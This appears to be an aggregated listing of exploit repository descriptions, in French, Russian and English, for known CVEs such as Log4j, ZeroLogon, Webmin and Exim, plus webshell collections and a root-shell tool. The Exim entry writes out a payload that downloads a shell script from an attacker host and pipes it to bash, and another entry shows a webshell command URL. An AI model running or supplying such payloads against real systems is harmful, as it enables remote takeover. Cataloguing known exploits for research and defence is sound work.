Modified-CVE-2019-15107

CVE-2019-15107 Assurez-vous de modifier manuellement shellperl LHOST et LPORT à la ligne 29 avant exécution. Modifié à partir de : https://github.com/ketlerd/CVE-2019-15107...

PinTheft-asm

pintheft-asm Переписал PinTheft-go на чистом ассемблере x86-64, потому что почему бы и нет. make ./pintheft Даёт root-шелл. Команда восстановления выводится при выходе. Подробнее → оригинальный PoC...

EUVD-2026-88171

Unrestricted upload of file with dangerous type vulnerability in Bimser Solution Software Trade Inc. EBA Plus Document and Workflow Management System allows Upload a Web Shell to a Web Server. This issue affects eBA Plus Document and Workflow Management System: from 6.7.141 before 10.0.11...

CVE-2026-85134 Arbitrary File Upload Leading to Remote Command Execution in Bimser's eBA Plus

Unrestricted upload of file with dangerous type vulnerability in Bimser Solution Software Trade Inc. EBA Plus Document and Workflow Management System allows Upload a Web Shell to a Web Server. This issue affects eBA Plus Document and Workflow Management System: from 6.7.141 before 10.0.11...

CVE-2026-85134

The eBA Plus Document and Workflow Management System by Bimser Solution Software Trade Inc. is vulnerable to an unrestricted upload of files with dangerous types . This flaw allows an attacker to upload a web shell to the web server, potentially leading to Remote Command Execution . The issue imp...

CVE-2026-85134 Arbitrary File Upload Leading to Remote Command Execution in Bimser's eBA Plus

Unrestricted upload of file with dangerous type vulnerability in Bimser Solution Software Trade Inc. EBA Plus Document and Workflow Management System allows Upload a Web Shell to a Web Server. This issue affects eBA Plus Document and Workflow Management System: from 6.7.141 before 10.0.11...

CVE-2019-11447_reverse_shell_upload

CVE-2019-11447 CuteNews 2.1.2 Загрузка обратной оболочки Слегка модифицированная версия Mt-Code POC, которая запускает полноценную обратную оболочку reverse shell, а не веб-оболочку. Этот эксплойт использует известную PentestMonkey PHP Reverse Shell. Установка pip install -r requirements.txt Прим...

ZeroLogon-to-Shell

Ceci est une combinaison du code zerologontester.py et de l'outil evil-winrm pour obtenir un shell. J'ai simplement ajouté un "os.system" pour utiliser evil-winrm. Prérequis : Pour obtenir le hash NTLM de l'administrateur, je vous recommande d'utiliser secretsdump outil d'impacket Et, bien sûr,...

FEP3370-advanced-ethical-hacking

DynoRoot CVE-2018-1111 Финальный проект курса Advanced Ethical Hacking в KTH, Стокгольм Этот проект демонстрирует известную уязвимость машин Fedora и RedHat, связанную с небезопасной реализацией клиентской части протокола Dynamic Host Configuration Protocol DHCP. Поддельный DHCP-сервер может...

CVE-2021-26828-Ultimate

ScadaFlare - CVE-2021-26828 Kit d'exploitation RCE authentifié Un exploit RCE modulaire post-authentification ciblant ScadaBR 1.1.0, amélioré pour les opérations d'équipe rouge. Fonctionnalités Télécharge un shell .jsp armé via viewedit.shtm Prend en charge les payloads Linux et Windows Support d...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc Доказательство концепции PoC для недавно обнаруженной уязвимости CVE-2021-44228. Недавно была обнаружена новая уязвимость в log4j — библиотеке журналирования на Java, которая очень широко используется в таких проектах, как elasticsearch, minecraft и многих других. В этом репозитор...

webshell

webshell | English | Türkiye Этот проект представляет собой коллекцию webshell. Дарите розы — и на ваших руках останется аромат. Если вы скачали этот проект, пожалуйста, тоже присылайте свои shell. Этот проект охватывает различные часто используемые скрипты. Например: asp,aspx,php,jsp,pl,py При...

CVE-2021-30461

Затронутые продукты VoIPmonitor 24.60 Как выполнить RCE python3 CVE-2021-30461.py -t ipaddress Оболочка в браузере: http://x.x.x.x/namrlblgel.php?a=whoami Ссылка https://ssd-disclosure.com/ssd-advisory-voipmonitor-unauth-rce/...

hfs-cve-2014-6287-exploit

Инструмент эксплуатации HFS CVE-2014-6287 Обзор Этот репозиторий содержит инструмент эксплуатации на Python, предназначенный для использования уязвимости CVE-2014-6287 в HTTP File Server HFS версий 2.3.x. Эта уязвимость позволяет злоумышленнику выполнять произвольные команды на сервере, что...

Exploit-CVE-2011-2523

README : Эксплойт для VSFTP 2.3.4 Этот скрипт на Python предназначен для эксплуатации уязвимости типа бэкдор, присутствующей в VSFTP версии 2.3.4. Эксплойт предоставляет несанкционированный доступ к системе, работающей на этой конкретной версии VSFTP. Использование Чтобы использовать этот скрипт,...

CVE-2020-24186

chmod +x CVE-2020-24186 ./CVE-2020-24186...

CVE-2012-2982-Webmin-Exploit

Exploit d'exécution de commandes à distance Webmin 1.590 CVE-2012-2982 Aperçu Ce dépôt contient un exploit Proof-of-Concept PoC pour CVE-2012-2982 , une vulnérabilité d'exécution de commandes à distance authentifiée affectant Webmin versions 1.590 et antérieures. La vulnérabilité réside dans le...

Exim-CVE-2019-10149

Exim-CVE-2019-10149 PoC для эксплуатации уязвимости CVE-2019-10149 Пример использования python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'...

CVE-2026-40176-poc

CVE-2026-40176: Preuve de concept d'injection de commande OS Composer Perforce English version Aperçu Ce dépôt est une preuve de concept PoC de la vulnérabilité critique d'injection de commande OS CVE-2026-40176 présente dans le pilote Perforce VCS de Composer. Cette vulnérabilité affecte les...

zoneminder-1.29-1.30-rce-exploit

ZoneMinder 1.29/1.30 SQLi to RCE Exploit Готовый к запуску Python-эксплойт для ZoneMinder 1.29/1.30, который объединяет неаутентифицированную SQL-инъекцию CVE-2016-10204 , EDB-41239 вплоть до интерактивного обратного шелла. Это вооружённый/автоматизированный PoC для известной, уже исправленной CV...